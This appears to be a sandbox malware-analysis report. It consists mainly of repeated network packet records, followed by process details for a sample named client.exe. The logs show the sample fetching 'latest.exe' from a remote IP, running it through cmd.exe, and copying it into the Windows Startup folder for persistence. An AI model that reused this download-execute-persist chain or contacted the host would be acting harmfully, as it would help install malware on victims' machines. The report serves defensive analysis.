Dec 18, 2024 11:56:28.292869091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.292968035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.293035030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.293531895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.293649912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.293833971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.294464111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.294544935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.294591904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.295192003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.295308113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.295351028 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.295958996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.296006918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.296051979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.297760010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.297883034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.297930002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.298494101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.298585892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.298631907 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.299218893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.299357891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.299468994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.300076962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.300194025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.300241947 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.300949097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.301019907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.301068068 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.301687956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.301804066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.301847935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.302378893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.302551031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.302691936 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.303231001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.303256989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.303302050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.303900957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.303997040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.304044008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.304729939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.304811954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.304855108 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.305644989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.305666924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.305711985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.306493998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.306616068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.306680918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.307497978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.307670116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.307714939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.317029953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.317178965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.317235947 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.317634106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.317740917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.317965031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.318578959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.318701029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.318743944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.319422960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.370290041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.455351114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.455405951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.455490112 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.455993891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.456227064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.456305027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.456984997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.457187891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.457241058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.457637072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.457711935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.457798004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.458468914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.458550930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.458630085 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.459166050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.459237099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.459714890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.460027933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.460171938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.460215092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.461424112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.461554050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.461601019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.462119102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.462162018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.462249994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.462764978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.462821960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.463102102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.463664055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.463778973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.463823080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.464482069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.464615107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.464761019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.465384960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.465502977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.465620041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.466248035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.466341019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.466499090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.467236042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.467369080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.467422009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.468112946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.468245983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.468353033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.468949080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.469046116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.469085932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.469878912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.470016956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.470292091 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.470776081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.470881939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.470926046 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.471685886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.471731901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.471915007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.472565889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.472728014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.472771883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.473490953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.473521948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.473728895 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.474484921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.474535942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.474662066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.475615025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.475709915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.475780964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.476201057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.476306915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.476357937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.477417946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.477535009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.477593899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.478128910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.478291035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.478338003 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.478955030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.479008913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.479058981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.479804039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.479898930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.479944944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.480679035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.480860949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.480907917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.481663942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.481758118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.481802940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.482589960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.482693911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.482741117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.483506918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.483628988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.483764887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.484494925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.484585047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.484631062 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.485248089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.485373974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.485429049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.486051083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.486187935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.486232996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.486958027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.487071037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.487118006 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.487951040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.488003016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.488049030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.488914967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.488966942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.489011049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.489636898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.489753962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.489799023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.490549088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.490668058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.490712881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.491453886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.491580963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.491648912 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.492388010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.492423058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.492466927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.493256092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.493367910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.493413925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.494142056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.494297028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.494345903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.495050907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.495132923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.495183945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.496020079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.496164083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.496211052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.496835947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.496887922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.496931076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.497715950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.497879982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.497925997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.498656034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.498737097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.498785019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.508491039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.508548021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.508601904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.508939028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.509121895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.509169102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.509824991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.509955883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.510000944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.510684967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.557820082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.651621103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.651710987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.651783943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.651999950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.652054071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.652095079 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.653017044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.653142929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.653240919 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.654510021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.654648066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.654730082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.654733896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.654824018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.654865980 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.655374050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.655478001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.655900955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.656081915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.656232119 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.656277895 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.656886101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.656924009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.657016993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.657603979 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.657810926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.657867908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.658762932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.658871889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.658916950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.659698009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.659781933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.659941912 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.660505056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.660609007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.660660982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.661319971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.661454916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.661504984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.662342072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.662457943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.662601948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.663129091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.663239002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.663288116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.663865089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.664164066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.664223909 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.664949894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.665095091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.665147066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.665813923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.665962934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.666023970 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.667414904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.667494059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.667706966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.668214083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.668251038 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.668359995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.669137001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.669420004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.669466972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.670208931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.670305014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:28.670351982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:28.671253920 CET	5000	49706	194.59.30.220	192.168.2.8

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	194.59.30.220	5000	7144	C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:56:19.228801966 CET	167	OUT	GET /download HTTP/1.1 Host: 194.59.30.220:5000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, br, zstd Accept: / Connection: keep-alive
Dec 18, 2024 11:56:21.759921074 CET	388	IN	HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.12.8 Date: Wed, 18 Dec 2024 10:56:21 GMT Content-Disposition: attachment; filename=latest.exe Content-Type: application/x-msdownload Content-Length: 57821696 Last-Modified: Wed, 18 Dec 2024 10:51:44 GMT Cache-Control: no-cache ETag: "1734519104.053164-57821696-3755153351" Date: Wed, 18 Dec 2024 10:56:21 GMT Connection: close

Target ID:	0
Start time:	05:56:12
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\client.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\client.exe"
Imagebase:	0x7ff611450000
File size:	11'687'936 bytes
MD5 hash:	0367368930008D4A8A1E61DD36397276
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:56:12
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:56:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\client.exe
Imagebase:	0x7ff7ca060000
File size:	17'782'784 bytes
MD5 hash:	B5712CB60C06909B9B4479AADD03FF9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 12%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:57:52
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "latest.exe"
Imagebase:	0x7ff775b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:57:52
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\latest.exe
Wow64 process (32bit):	false
Commandline:	latest.exe
Imagebase:	0x7ff6ce400000
File size:	57'821'696 bytes
MD5 hash:	8E8D4E8C939EBAF71FB1A593B92ED618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:58:02
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Imagebase:	0x7ff729ef0000
File size:	57'821'696 bytes
